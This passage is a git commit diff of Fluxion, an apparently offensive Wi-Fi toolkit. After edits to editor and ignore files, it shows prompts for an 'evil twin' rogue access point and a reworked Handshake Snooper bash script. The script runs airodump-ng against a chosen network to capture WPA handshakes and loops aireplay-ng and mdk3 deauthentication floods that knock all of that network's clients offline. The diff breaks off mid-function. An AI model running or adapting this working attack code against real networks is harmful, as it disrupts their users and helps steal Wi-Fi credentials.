Updated to v4-development
This commit is contained in:
commit
649171eaff
|
@ -6,13 +6,13 @@ insert_final_newline = true
|
||||||
max_line_length=120
|
max_line_length=120
|
||||||
|
|
||||||
[*.sh]
|
[*.sh]
|
||||||
indent_style = space
|
indent_style = tab
|
||||||
indent_size = 2
|
indent_size = 4
|
||||||
charset = utf-8
|
charset = utf-8
|
||||||
trim_trailing_whitespace = true
|
trim_trailing_whitespace = true
|
||||||
|
|
||||||
[*.py]
|
[*.py]
|
||||||
indent_size=2
|
indent_size = 4
|
||||||
|
|
||||||
[*.md]
|
[*.md]
|
||||||
trim_trailing_whitespace = false
|
trim_trailing_whitespace = false
|
||||||
|
|
|
@ -1,35 +1,173 @@
|
||||||
|
|
||||||
|
# Custom files
|
||||||
*~
|
*~
|
||||||
*.swp
|
*.swp
|
||||||
*.swo
|
*.swo
|
||||||
*.cap
|
*.cap
|
||||||
*.log
|
*.log
|
||||||
BullyOutput.txt
|
*.conf
|
||||||
|
*.lock
|
||||||
|
*.save
|
||||||
|
*.backup
|
||||||
|
|
||||||
# temporary files which can be created if a process still has a handle open of a deleted file
|
# Compiled Object files
|
||||||
.fuse_hidden*
|
*.slo
|
||||||
|
*.lo
|
||||||
|
*.o
|
||||||
|
*.obj
|
||||||
|
|
||||||
# KDE directory preferences
|
# Precompiled Headers
|
||||||
.directory
|
*.gch
|
||||||
|
*.pch
|
||||||
|
|
||||||
# Linux trash folder which might appear on any partition or disk
|
# Compiled Dynamic libraries
|
||||||
.Trash-*
|
*.so
|
||||||
|
*.dylib
|
||||||
|
*.dll
|
||||||
|
|
||||||
# .nfs files are created when an open file is removed but is still being accessed
|
# Fortran module files
|
||||||
.nfs*
|
*.mod
|
||||||
|
*.smod
|
||||||
|
|
||||||
# Cache files for Sublime Text
|
# Compiled Static libraries
|
||||||
|
*.lai
|
||||||
|
*.la
|
||||||
|
*.a
|
||||||
|
*.lib
|
||||||
|
|
||||||
|
# Executables
|
||||||
|
*.exe
|
||||||
|
*.out
|
||||||
|
*.app
|
||||||
|
|
||||||
|
### Calabash ###
|
||||||
|
# Calabash / Cucumber
|
||||||
|
rerun/
|
||||||
|
reports/
|
||||||
|
screenshots/
|
||||||
|
screenshot*.png
|
||||||
|
test-servers/
|
||||||
|
|
||||||
|
# bundler
|
||||||
|
.bundle
|
||||||
|
vendor
|
||||||
|
|
||||||
|
### Python ###
|
||||||
|
# Byte-compiled / optimized / DLL files
|
||||||
|
__pycache__/
|
||||||
|
*.py[cod]
|
||||||
|
*$py.class
|
||||||
|
|
||||||
|
# C extensions
|
||||||
|
|
||||||
|
# Distribution / packaging
|
||||||
|
.Python
|
||||||
|
build/
|
||||||
|
develop-eggs/
|
||||||
|
dist/
|
||||||
|
downloads/
|
||||||
|
eggs/
|
||||||
|
.eggs/
|
||||||
|
lib/
|
||||||
|
lib64/
|
||||||
|
parts/
|
||||||
|
sdist/
|
||||||
|
var/
|
||||||
|
wheels/
|
||||||
|
*.egg-info/
|
||||||
|
.installed.cfg
|
||||||
|
*.egg
|
||||||
|
|
||||||
|
# PyInstaller
|
||||||
|
# Usually these files are written by a python script from a template
|
||||||
|
# before PyInstaller builds the exe, so as to inject date/other infos into it.
|
||||||
|
*.manifest
|
||||||
|
*.spec
|
||||||
|
|
||||||
|
# Installer logs
|
||||||
|
pip-log.txt
|
||||||
|
pip-delete-this-directory.txt
|
||||||
|
|
||||||
|
# Unit test / coverage reports
|
||||||
|
htmlcov/
|
||||||
|
.tox/
|
||||||
|
.coverage
|
||||||
|
.coverage.*
|
||||||
|
.cache
|
||||||
|
nosetests.xml
|
||||||
|
coverage.xml
|
||||||
|
*.cover
|
||||||
|
.hypothesis/
|
||||||
|
|
||||||
|
# Translations
|
||||||
|
*.mo
|
||||||
|
*.pot
|
||||||
|
|
||||||
|
# Django stuff:
|
||||||
|
*.log
|
||||||
|
local_settings.py
|
||||||
|
|
||||||
|
# Flask stuff:
|
||||||
|
instance/
|
||||||
|
.webassets-cache
|
||||||
|
|
||||||
|
# Scrapy stuff:
|
||||||
|
.scrapy
|
||||||
|
|
||||||
|
# Sphinx documentation
|
||||||
|
docs/_build/
|
||||||
|
|
||||||
|
# PyBuilder
|
||||||
|
target/
|
||||||
|
|
||||||
|
# Jupyter Notebook
|
||||||
|
.ipynb_checkpoints
|
||||||
|
|
||||||
|
# pyenv
|
||||||
|
.python-version
|
||||||
|
|
||||||
|
# celery beat schedule file
|
||||||
|
celerybeat-schedule.*
|
||||||
|
|
||||||
|
# SageMath parsed files
|
||||||
|
*.sage.py
|
||||||
|
|
||||||
|
# Environments
|
||||||
|
.env
|
||||||
|
.venv
|
||||||
|
env/
|
||||||
|
venv/
|
||||||
|
ENV/
|
||||||
|
env.bak/
|
||||||
|
venv.bak/
|
||||||
|
|
||||||
|
# Spyder project settings
|
||||||
|
.spyderproject
|
||||||
|
.spyproject
|
||||||
|
|
||||||
|
# Rope project settings
|
||||||
|
.ropeproject
|
||||||
|
|
||||||
|
# mkdocs documentation
|
||||||
|
/site
|
||||||
|
|
||||||
|
# mypy
|
||||||
|
.mypy_cache/
|
||||||
|
|
||||||
|
### SublimeText ###
|
||||||
|
# cache files for sublime text
|
||||||
*.tmlanguage.cache
|
*.tmlanguage.cache
|
||||||
*.tmPreferences.cache
|
*.tmPreferences.cache
|
||||||
*.stTheme.cache
|
*.stTheme.cache
|
||||||
|
|
||||||
# Workspace files are user-specific
|
# workspace files are user-specific
|
||||||
*.sublime-workspace
|
*.sublime-workspace
|
||||||
|
|
||||||
# Project files should be checked into the repository, unless a significant
|
# project files should be checked into the repository, unless a significant
|
||||||
# proportion of contributors will probably not be using Sublime Text
|
# proportion of contributors will probably not be using SublimeText
|
||||||
# *.sublime-project
|
# *.sublime-project
|
||||||
|
|
||||||
# SFTP configuration file
|
# sftp configuration file
|
||||||
sftp-config.json
|
sftp-config.json
|
||||||
|
|
||||||
# Package control specific files
|
# Package control specific files
|
||||||
|
@ -48,30 +186,22 @@ bh_unicode_properties.cache
|
||||||
# https://packagecontrol.io/packages/sublime-github
|
# https://packagecontrol.io/packages/sublime-github
|
||||||
GitHub.sublime-settings
|
GitHub.sublime-settings
|
||||||
|
|
||||||
# General
|
### Vim ###
|
||||||
*.DS_Store
|
# swap
|
||||||
.AppleDouble
|
.sw[a-p]
|
||||||
.LSOverride
|
.*.sw[a-p]
|
||||||
|
# session
|
||||||
|
Session.vim
|
||||||
|
# temporary
|
||||||
|
.netrwhist
|
||||||
|
*~
|
||||||
|
# auto-generated tag files
|
||||||
|
tags
|
||||||
|
|
||||||
# Icon must end with two \r
|
### VisualStudioCode ###
|
||||||
Icon
|
.vscode/*
|
||||||
|
!.vscode/settings.json
|
||||||
|
!.vscode/tasks.json
|
||||||
# Thumbnails
|
!.vscode/launch.json
|
||||||
._*
|
!.vscode/extensions.json
|
||||||
|
.history
|
||||||
# Files that might appear in the root of a volume
|
|
||||||
.DocumentRevisions-V100
|
|
||||||
.fseventsd
|
|
||||||
.Spotlight-V100
|
|
||||||
.TemporaryItems
|
|
||||||
.Trashes
|
|
||||||
.VolumeIcon.icns
|
|
||||||
.com.apple.timemachine.donotpresent
|
|
||||||
|
|
||||||
# Directories potentially created on remote AFP share
|
|
||||||
.AppleDB
|
|
||||||
.AppleDesktop
|
|
||||||
Network Trash Folder
|
|
||||||
Temporary Items
|
|
||||||
.apdisk
|
|
|
@ -1,4 +1,3 @@
|
||||||
[submodule "attacks/Captive Portal/sites"]
|
[submodule "attacks/Captive Portal/sites"]
|
||||||
path = attacks/Captive Portal/sites
|
path = attacks/Captive Portal/sites
|
||||||
#url = git@github.com:FluxionNetwork/sites.git
|
|
||||||
url = https://github.com/FluxionNetwork/sites
|
url = https://github.com/FluxionNetwork/sites
|
||||||
|
|
2
.project
2
.project
|
@ -1,6 +1,6 @@
|
||||||
<?xml version="1.0" encoding="UTF-8"?>
|
<?xml version="1.0" encoding="UTF-8"?>
|
||||||
<projectDescription>
|
<projectDescription>
|
||||||
<name>fluxion</name>
|
<name>Fluxion</name>
|
||||||
<comment></comment>
|
<comment></comment>
|
||||||
<projects>
|
<projects>
|
||||||
</projects>
|
</projects>
|
||||||
|
|
File diff suppressed because it is too large
Load Diff
|
@ -2,6 +2,12 @@
|
||||||
# identifier: Captive Portal
|
# identifier: Captive Portal
|
||||||
# description: Creates an "evil twin" access point.
|
# description: Creates an "evil twin" access point.
|
||||||
|
|
||||||
|
CaptivePortalJammerInterfaceQuery="Select an interface for jamming."
|
||||||
|
CaptivePortalAccessPointInterfaceQuery="Select an interface for the access point."
|
||||||
|
|
||||||
|
CaptivePortalAPServiceQuery="Select an access point service"
|
||||||
|
CaptivePortalAPServiceHostapdOption="Rogue AP - hostapd (${CGrn}recommended$CClr)"
|
||||||
|
CaptivePortalAPServiceAirbaseOption="Rogue AP - airbase-ng (${CYel}slow$CClr)"
|
||||||
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
|
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
|
||||||
CaptivePortalInterfaceQuery="Select an interface for the captive portal."
|
CaptivePortalInterfaceQuery="Select an interface for the captive portal."
|
||||||
CaptivePortalStartingInterfaceNotice="Starting captive portal interface..."
|
CaptivePortalStartingInterfaceNotice="Starting captive portal interface..."
|
||||||
|
|
|
@ -1,12 +1,27 @@
|
||||||
#!/bin/bash
|
#!/bin/bash
|
||||||
|
|
||||||
########################### < Handshake Snooper Parameters > ###########################
|
# ============================================================ #
|
||||||
|
# ============= < Handshake Snooper Parameters > ============= #
|
||||||
|
# ============================================================ #
|
||||||
|
|
||||||
HandshakeSnooperState="Not Ready"
|
HandshakeSnooperState="Not Ready"
|
||||||
|
|
||||||
################################# < Handshake Snooper > ################################
|
|
||||||
function handshake_snooper_arbiter_daemon() {
|
# ============================================================ #
|
||||||
if [ ${#@} -lt 1 -o "$HandshakeSnooperState" != "Running" ]; then return 1; fi
|
# ========= < Handshake Snooper Helper Subroutines > ========= #
|
||||||
|
# ============================================================ #
|
||||||
|
handshake_snooper_header() {
|
||||||
|
fluxion_header; fluxion_target_show; echo
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
# ============================================================ #
|
||||||
|
# ============= < Handshake Snooper Subroutines > ============ #
|
||||||
|
# ============================================================ #
|
||||||
|
handshake_snooper_arbiter_daemon() {
|
||||||
|
if [ ${#@} -lt 1 -o "$HandshakeSnooperState" != "Running" ]; then
|
||||||
|
return 1;
|
||||||
|
fi
|
||||||
|
|
||||||
# Start daemon in the running state to continue execution until aborted,
|
# Start daemon in the running state to continue execution until aborted,
|
||||||
# or until a hash has been verified to exist in the capture file.
|
# or until a hash has been verified to exist in the capture file.
|
||||||
|
@ -15,13 +30,16 @@ function handshake_snooper_arbiter_daemon() {
|
||||||
|
|
||||||
function handshake_snooper_arbiter_daemon_abort() {
|
function handshake_snooper_arbiter_daemon_abort() {
|
||||||
handshake_snooper_arbiter_daemon_state="aborted"
|
handshake_snooper_arbiter_daemon_state="aborted"
|
||||||
if [ "$handshake_snooper_arbiter_daemon_viewerPID" ]; then kill $handshake_snooper_arbiter_daemon_viewerPID
|
if [ "$handshake_snooper_arbiter_daemon_viewerPID" ]; then
|
||||||
|
kill $handshake_snooper_arbiter_daemon_viewerPID
|
||||||
fi
|
fi
|
||||||
|
|
||||||
handshake_snooper_stop_deauthenticator
|
handshake_snooper_stop_deauthenticator
|
||||||
handshake_snooper_stop_captor
|
handshake_snooper_stop_captor
|
||||||
|
|
||||||
echo -e "[$(env -i date '+%H:%M:%S')] $HandshakeSnooperArbiterAbortedWarning" >>"$FLUXIONWorkspacePath/handshake_snooper.log"
|
local -r now=$(env -i date '+%H:%M:%S')
|
||||||
|
echo -e "[$now] $HandshakeSnooperArbiterAbortedWarning" >> \
|
||||||
|
"$FLUXIONWorkspacePath/handshake_snooper.log"
|
||||||
exit 2
|
exit 2
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@ -34,10 +52,14 @@ function handshake_snooper_arbiter_daemon() {
|
||||||
sandbox_remove_workfile "$FLUXIONWorkspacePath/capture/dump-*"
|
sandbox_remove_workfile "$FLUXIONWorkspacePath/capture/dump-*"
|
||||||
|
|
||||||
# Display some feedback to the user to assure verifier is working.
|
# Display some feedback to the user to assure verifier is working.
|
||||||
xterm $FLUXIONHoldXterm $BOTTOMLEFT -bg "#000000" -fg "#CCCCCC" -title "Handshake Snooper Arbiter Log" -e "tail -f \"$FLUXIONWorkspacePath/handshake_snooper.log\"" &
|
xterm $FLUXIONHoldXterm $BOTTOMLEFT -bg "#000000" -fg "#CCCCCC" \
|
||||||
|
-title "Handshake Snooper Arbiter Log" -e \
|
||||||
|
"tail -f \"$FLUXIONWorkspacePath/handshake_snooper.log\"" &
|
||||||
local handshake_snooper_arbiter_daemon_viewerPID=$!
|
local handshake_snooper_arbiter_daemon_viewerPID=$!
|
||||||
|
|
||||||
echo -e "[$(env -i date '+%H:%M:%S')] $HandshakeSnooperStartingArbiterNotice" >"$FLUXIONWorkspacePath/handshake_snooper.log"
|
local now=$(env -i date '+%H:%M:%S')
|
||||||
|
echo -e "[$now] $HandshakeSnooperStartingArbiterNotice" > \
|
||||||
|
"$FLUXIONWorkspacePath/handshake_snooper.log"
|
||||||
|
|
||||||
handshake_snooper_start_captor
|
handshake_snooper_start_captor
|
||||||
handshake_snooper_start_deauthenticator
|
handshake_snooper_start_deauthenticator
|
||||||
|
@ -46,26 +68,38 @@ function handshake_snooper_arbiter_daemon() {
|
||||||
|
|
||||||
# Keep snooping and verifying until we've got a valid hash from the capture file.
|
# Keep snooping and verifying until we've got a valid hash from the capture file.
|
||||||
while [ $handshake_snooper_arbiter_daemon_verified -ne 0 ]; do
|
while [ $handshake_snooper_arbiter_daemon_verified -ne 0 ]; do
|
||||||
echo -e "[$(env -i date '+%H:%M:%S')] $(io_dynamic_output $HandshakeSnooperSnoopingForNSecondsNotice)" >>"$FLUXIONWorkspacePath/handshake_snooper.log"
|
now=$(env -i date '+%H:%M:%S')
|
||||||
|
echo -e "[$now] $(io_dynamic_output $HandshakeSnooperSnoopingForNSecondsNotice)" >> \
|
||||||
|
"$FLUXIONWorkspacePath/handshake_snooper.log"
|
||||||
sleep $HANDSHAKEVerifierInterval &
|
sleep $HANDSHAKEVerifierInterval &
|
||||||
wait $! # Using wait to asynchronously catch flags while waiting.
|
wait $! # Using wait to asynchronously catch flags while waiting.
|
||||||
|
|
||||||
# If synchronously searching, stop the captor and deauthenticator before checking.
|
# If synchronously searching, stop the captor and deauthenticator before checking.
|
||||||
if [ "$HANDSHAKEVerifierSynchronicity" = "blocking" ]; then
|
if [ "$HANDSHAKEVerifierSynchronicity" = "blocking" ]; then
|
||||||
echo -e "[$(env -i date '+%H:%M:%S')] $HandshakeSnooperStoppingForVerifierNotice" >>"$FLUXIONWorkspacePath/handshake_snooper.log"
|
now=$(env -i date '+%H:%M:%S')
|
||||||
|
echo -e "[$now] $HandshakeSnooperStoppingForVerifierNotice" >> \
|
||||||
|
"$FLUXIONWorkspacePath/handshake_snooper.log"
|
||||||
handshake_snooper_stop_deauthenticator
|
handshake_snooper_stop_deauthenticator
|
||||||
handshake_snooper_stop_captor
|
handshake_snooper_stop_captor
|
||||||
mv "$FLUXIONWorkspacePath/capture/dump-01.cap" "$FLUXIONWorkspacePath/capture/recent.cap"
|
mv "$FLUXIONWorkspacePath/capture/dump-01.cap" \
|
||||||
|
"$FLUXIONWorkspacePath/capture/recent.cap"
|
||||||
else
|
else
|
||||||
pyrit -r "$FLUXIONWorkspacePath/capture/dump-01.cap" -o "$FLUXIONWorkspacePath/capture/recent.cap" stripLive &>$FLUXIONOutputDevice
|
pyrit -r "$FLUXIONWorkspacePath/capture/dump-01.cap" \
|
||||||
|
-o "$FLUXIONWorkspacePath/capture/recent.cap" stripLive &> \
|
||||||
|
$FLUXIONOutputDevice
|
||||||
fi
|
fi
|
||||||
|
|
||||||
echo -e "[$(env -i date '+%H:%M:%S')] $HandshakeSnooperSearchingForHashesNotice" >>"$FLUXIONWorkspacePath/handshake_snooper.log"
|
now=$(env -i date '+%H:%M:%S')
|
||||||
hash_check_handshake "$HANDSHAKEVerifierIdentifier" "$FLUXIONWorkspacePath/capture/recent.cap" "$APTargetSSID" "$APTargetMAC"
|
echo -e "[$now] $HandshakeSnooperSearchingForHashesNotice" >> \
|
||||||
|
"$FLUXIONWorkspacePath/handshake_snooper.log"
|
||||||
|
hash_check_handshake "$HANDSHAKEVerifierIdentifier" \
|
||||||
|
"$FLUXIONWorkspacePath/capture/recent.cap" \
|
||||||
|
"$FluxionTargetSSID" "$FluxionTargetMAC"
|
||||||
handshake_snooper_arbiter_daemon_verified=$?
|
handshake_snooper_arbiter_daemon_verified=$?
|
||||||
|
|
||||||
# If synchronously searching, restart the captor and deauthenticator after checking.
|
# If synchronously searching, restart the captor and deauthenticator after checking.
|
||||||
if [ "$HANDSHAKEVerifierSynchronicity" = "blocking" -a $handshake_snooper_arbiter_daemon_verified -ne 0 ]; then
|
if [ "$HANDSHAKEVerifierSynchronicity" = "blocking" -a \
|
||||||
|
$handshake_snooper_arbiter_daemon_verified -ne 0 ]; then
|
||||||
sandbox_remove_workfile "$FLUXIONWorkspacePath/capture/*"
|
sandbox_remove_workfile "$FLUXIONWorkspacePath/capture/*"
|
||||||
|
|
||||||
handshake_snooper_start_captor
|
handshake_snooper_start_captor
|
||||||
|
@ -78,34 +112,39 @@ function handshake_snooper_arbiter_daemon() {
|
||||||
handshake_snooper_stop_captor
|
handshake_snooper_stop_captor
|
||||||
|
|
||||||
local completionTime=$(env -i date '+%H:%M:%S')
|
local completionTime=$(env -i date '+%H:%M:%S')
|
||||||
echo -e "[$completionTime] $HandshakeSnooperArbiterSuccededNotice" >>"$FLUXIONWorkspacePath/handshake_snooper.log"
|
echo -e "[$completionTime] $HandshakeSnooperArbiterSuccededNotice" >> \
|
||||||
echo -e "[$completionTime] $HandshakeSnooperArbiterCompletedTip" >>"$FLUXIONWorkspacePath/handshake_snooper.log"
|
"$FLUXIONWorkspacePath/handshake_snooper.log"
|
||||||
|
echo -e "[$completionTime] $HandshakeSnooperArbiterCompletedTip" >> \
|
||||||
|
"$FLUXIONWorkspacePath/handshake_snooper.log"
|
||||||
|
|
||||||
# Assure we've got a directory to store hashes into.
|
# Assure we've got a directory to store hashes into.
|
||||||
mkdir -p "$FLUXIONPath/attacks/Handshake Snooper/handshakes/"
|
mkdir -p "$FLUXIONPath/attacks/Handshake Snooper/handshakes/"
|
||||||
|
|
||||||
# Move handshake to storage if one was acquired.
|
# Move handshake to storage if one was acquired.
|
||||||
mv "$FLUXIONWorkspacePath/capture/recent.cap" "$FLUXIONPath/attacks/Handshake Snooper/handshakes/$APTargetSSIDClean-$APTargetMAC.cap"
|
mv "$FLUXIONWorkspacePath/capture/recent.cap" \
|
||||||
|
"$FLUXIONPath/attacks/Handshake Snooper/handshakes/$FluxionTargetSSIDClean-$FluxionTargetMAC.cap"
|
||||||
|
|
||||||
# Signal parent process the verification terminated.
|
# Signal parent process the verification terminated.
|
||||||
kill -s SIGABRT $1
|
kill -s SIGABRT $1
|
||||||
}
|
}
|
||||||
|
|
||||||
function handshake_snooper_stop_captor() {
|
handshake_snooper_stop_captor() {
|
||||||
if [ "$HANDSHAKECaptorPID" ]; then kill -s SIGINT $HANDSHAKECaptorPID &>$FLUXIONOutputDevice
|
if [ "$HANDSHAKECaptorPID" ]; then
|
||||||
|
kill -s SIGINT $HANDSHAKECaptorPID &> $FLUXIONOutputDevice
|
||||||
fi
|
fi
|
||||||
|
|
||||||
HANDSHAKECaptorPID=""
|
HANDSHAKECaptorPID=""
|
||||||
}
|
}
|
||||||
|
|
||||||
function handshake_snooper_start_captor() {
|
handshake_snooper_start_captor() {
|
||||||
if [ "$HANDSHAKECaptorPID" ]; then return 0; fi
|
if [ "$HANDSHAKECaptorPID" ]; then return 0; fi
|
||||||
if [ "$HandshakeSnooperState" != "Running" ]; then return 1; fi
|
if [ "$HandshakeSnooperState" != "Running" ]; then return 1; fi
|
||||||
|
|
||||||
handshake_snooper_stop_captor
|
handshake_snooper_stop_captor
|
||||||
|
|
||||||
xterm $FLUXIONHoldXterm -title "Handshake Captor (CH $APTargetChannel)" $TOPLEFT -bg "#000000" -fg "#FFFFFF" -e \
|
xterm $FLUXIONHoldXterm -title "Handshake Captor (CH $FluxionTargetChannel)" \
|
||||||
airodump-ng --ignore-negative-one -d $APTargetMAC -w "$FLUXIONWorkspacePath/capture/dump" -c $APTargetChannel -a $WIMonitor &
|
$TOPLEFT -bg "#000000" -fg "#FFFFFF" -e \
|
||||||
|
airodump-ng --ignore-negative-one -d $FluxionTargetMAC -w "$FLUXIONWorkspacePath/capture/dump" -c $FluxionTargetChannel -a $HandshakeSnooperJammerInterface &
|
||||||
local parentPID=$!
|
local parentPID=$!
|
||||||
|
|
||||||
while [ ! "$HANDSHAKECaptorPID" ]; do
|
while [ ! "$HANDSHAKECaptorPID" ]; do
|
||||||
|
@ -115,14 +154,14 @@ function handshake_snooper_start_captor() {
|
||||||
done
|
done
|
||||||
}
|
}
|
||||||
|
|
||||||
function handshake_snooper_stop_deauthenticator() {
|
handshake_snooper_stop_deauthenticator() {
|
||||||
if [ "$HANDSHAKEDeauthenticatorPID" ]; then kill $HANDSHAKEDeauthenticatorPID &>$FLUXIONOutputDevice
|
if [ "$HANDSHAKEDeauthenticatorPID" ]; then kill $HANDSHAKEDeauthenticatorPID &>$FLUXIONOutputDevice
|
||||||
fi
|
fi
|
||||||
|
|
||||||
HANDSHAKEDeauthenticatorPID=""
|
HANDSHAKEDeauthenticatorPID=""
|
||||||
}
|
}
|
||||||
|
|
||||||
function handshake_snooper_start_deauthenticator() {
|
handshake_snooper_start_deauthenticator() {
|
||||||
if [ "$HANDSHAKEDeauthenticatorPID" ]; then return 0; fi
|
if [ "$HANDSHAKEDeauthenticatorPID" ]; then return 0; fi
|
||||||
if [ "$HandshakeSnooperState" != "Running" ]; then return 1; fi
|
if [ "$HandshakeSnooperState" != "Running" ]; then return 1; fi
|
||||||
|
|
||||||
|
@ -130,63 +169,120 @@ function handshake_snooper_start_deauthenticator() {
|
||||||
|
|
||||||
# Prepare deauthenticators
|
# Prepare deauthenticators
|
||||||
case "$HANDSHAKEDeauthenticatorIdentifier" in
|
case "$HANDSHAKEDeauthenticatorIdentifier" in
|
||||||
"$HandshakeSnooperMdk3MethodOption") echo "$APTargetMAC" >$FLUXIONWorkspacePath/mdk3_blacklist.lst ;;
|
"$HandshakeSnooperMdk3MethodOption")
|
||||||
|
echo "$FluxionTargetMAC" > $FLUXIONWorkspacePath/mdk3_blacklist.lst ;;
|
||||||
esac
|
esac
|
||||||
|
|
||||||
# Start deauthenticators.
|
# Start deauthenticators.
|
||||||
case "$HANDSHAKEDeauthenticatorIdentifier" in
|
case "$HANDSHAKEDeauthenticatorIdentifier" in
|
||||||
"$HandshakeSnooperAireplayMethodOption")
|
"$HandshakeSnooperAireplayMethodOption")
|
||||||
xterm $FLUXIONHoldXterm $BOTTOMRIGHT -bg "#000000" -fg "#FF0009" -title "Deauthenticating all clients on $APTargetSSID" -e \
|
xterm $FLUXIONHoldXterm $BOTTOMRIGHT -bg "#000000" -fg "#FF0009" \
|
||||||
"while true; do sleep 7; timeout 3 aireplay-ng --deauth=100 -a $APTargetMAC --ignore-negative-one $WIMonitor; done" &
|
-title "Deauthenticating all clients on $FluxionTargetSSID" -e \
|
||||||
|
"while true; do sleep 7; timeout 3 aireplay-ng --deauth=100 -a $FluxionTargetMAC --ignore-negative-one $HandshakeSnooperJammerInterface; done" &
|
||||||
HANDSHAKEDeauthenticatorPID=$!
|
HANDSHAKEDeauthenticatorPID=$!
|
||||||
;;
|
;;
|
||||||
"$HandshakeSnooperMdk3MethodOption")
|
"$HandshakeSnooperMdk3MethodOption")
|
||||||
xterm $FLUXIONHoldXterm $BOTTOMRIGHT -bg "#000000" -fg "#FF0009" -title "Deauthenticating all clients on $APTargetSSID" -e \
|
xterm $FLUXIONHoldXterm $BOTTOMRIGHT -bg "#000000" -fg "#FF0009" \
|
||||||
"while true; do sleep 7; timeout 3 mdk3 $WIMonitor d -b $FLUXIONWorkspacePath/mdk3_blacklist.lst -c $APTargetChannel; done" &
|
-title "Deauthenticating all clients on $FluxionTargetSSID" -e \
|
||||||
|
"while true; do sleep 7; timeout 3 mdk3 $HandshakeSnooperJammerInterface d -b $FLUXIONWorkspacePath/mdk3_blacklist.lst -c $FluxionTargetChannel; done" &
|
||||||
HANDSHAKEDeauthenticatorPID=$!
|
HANDSHAKEDeauthenticatorPID=$!
|
||||||
;;
|
;;
|
||||||
esac
|
esac
|
||||||
}
|
}
|
||||||
|
|
||||||
function handshake_snooper_unset_deauthenticator_identifier() {
|
|
||||||
|
handshake_snooper_unset_deauthenticator_identifier() {
|
||||||
|
if [ ! "$HANDSHAKEDeauthenticatorIdentifier" ]; then return 1; fi
|
||||||
HANDSHAKEDeauthenticatorIdentifier=""
|
HANDSHAKEDeauthenticatorIdentifier=""
|
||||||
}
|
}
|
||||||
|
|
||||||
function handshake_snooper_set_deauthenticator_identifier() {
|
handshake_snooper_set_deauthenticator_identifier() {
|
||||||
if [ "$HANDSHAKEDeauthenticatorIdentifier" ]; then return 0; fi
|
if [ "$HANDSHAKEDeauthenticatorIdentifier" ]; then return 0; fi
|
||||||
|
|
||||||
handshake_snooper_unset_deauthenticator_identifier
|
handshake_snooper_unset_deauthenticator_identifier
|
||||||
|
|
||||||
local methods=("$HandshakeSnooperMonitorMethodOption" "$HandshakeSnooperAireplayMethodOption" "$HandshakeSnooperMdk3MethodOption" "$FLUXIONGeneralBackOption")
|
local methods=(
|
||||||
|
"$HandshakeSnooperMonitorMethodOption"
|
||||||
|
"$HandshakeSnooperAireplayMethodOption"
|
||||||
|
"$HandshakeSnooperMdk3MethodOption"
|
||||||
|
"$FLUXIONGeneralBackOption"
|
||||||
|
)
|
||||||
io_query_choice "$HandshakeSnooperMethodQuery" methods[@]
|
io_query_choice "$HandshakeSnooperMethodQuery" methods[@]
|
||||||
|
|
||||||
HANDSHAKEDeauthenticatorIdentifier=$IOQueryChoice
|
HANDSHAKEDeauthenticatorIdentifier=$IOQueryChoice
|
||||||
|
|
||||||
echo
|
echo
|
||||||
|
|
||||||
if [ "$HANDSHAKEDeauthenticatorIdentifier" = "$FLUXIONGeneralBackOption" ]; then
|
if [ "$HANDSHAKEDeauthenticatorIdentifier" = \
|
||||||
|
"$FLUXIONGeneralBackOption" ]; then
|
||||||
handshake_snooper_unset_deauthenticator_identifier
|
handshake_snooper_unset_deauthenticator_identifier
|
||||||
return 1
|
return 1
|
||||||
fi
|
fi
|
||||||
}
|
}
|
||||||
|
|
||||||
function handshake_snooper_unset_verifier_identifier() {
|
handshake_snooper_unset_jammer_interface() {
|
||||||
|
if [ ! "$HandshakeSnooperJammerInterface" ]; then return 1; fi
|
||||||
|
HandshakeSnooperJammerInterface=""
|
||||||
|
|
||||||
|
# Check if we're automatically selecting the interface & skip
|
||||||
|
# this one if so to take the user back properly.
|
||||||
|
local interfacesAvailable
|
||||||
|
readarray -t interfacesAvailable < <(attack_targetting_interfaces)
|
||||||
|
|
||||||
|
if [ ${#interfacesAvailable[@]} -le 1 ]; then return 2; fi
|
||||||
|
}
|
||||||
|
|
||||||
|
handshake_snooper_set_jammer_interface() {
|
||||||
|
if [ "$HandshakeSnooperJammerInterface" ]; then return 0; fi
|
||||||
|
if [ "$HANDSHAKEDeauthenticatorIdentifier" = \
|
||||||
|
"$HandshakeSnooperMonitorMethodOption" ]; then return 0; fi
|
||||||
|
|
||||||
|
if [ ! "$HandshakeSnooperUninitializedJammerInterface" ]; then
|
||||||
|
echo "Running get jammer interface." > $FLUXIONOutputDevice
|
||||||
|
if ! fluxion_get_interface attack_targetting_interfaces \
|
||||||
|
"$HandshakeSnooperJammerInterfaceQuery"; then
|
||||||
|
echo "Failed to get jammer interface" > $FLUXIONOutputDevice
|
||||||
|
return 1
|
||||||
|
fi
|
||||||
|
local selectedInterface=$FluxionInterfaceSelected
|
||||||
|
else
|
||||||
|
local selectedInterface=$HandshakeSnooperUninitializedJammerInterface
|
||||||
|
unset HandshakeSnooperUninitializedJammerInterface
|
||||||
|
fi
|
||||||
|
|
||||||
|
if ! fluxion_allocate_interface $selectedInterface; then
|
||||||
|
echo "Failed to allocate jammer interface" > $FLUXIONOutputDevice
|
||||||
|
return 2
|
||||||
|
fi
|
||||||
|
|
||||||
|
echo "Succeeded get jammer interface." > $FLUXIONOutputDevice
|
||||||
|
HandshakeSnooperJammerInterface=${FluxionInterfaces[$selectedInterface]}
|
||||||
|
}
|
||||||
|
|
||||||
|
handshake_snooper_unset_verifier_identifier() {
|
||||||
|
if [ ! "$HANDSHAKEVerifierIdentifier" ]; then return 1; fi
|
||||||
HANDSHAKEVerifierIdentifier=""
|
HANDSHAKEVerifierIdentifier=""
|
||||||
}
|
}
|
||||||
|
|
||||||
function handshake_snooper_set_verifier_identifier() {
|
handshake_snooper_set_verifier_identifier() {
|
||||||
if [ "$HANDSHAKEVerifierIdentifier" ]; then return 0; fi
|
if [ "$HANDSHAKEVerifierIdentifier" ]; then return 0; fi
|
||||||
|
|
||||||
handshake_snooper_unset_verifier_identifier
|
handshake_snooper_unset_verifier_identifier
|
||||||
|
|
||||||
local choices=("$FLUXIONHashVerificationMethodPyritOption" "$FLUXIONHashVerificationMethodAircrackOption" "$FLUXIONGeneralBackOption")
|
local choices=(
|
||||||
|
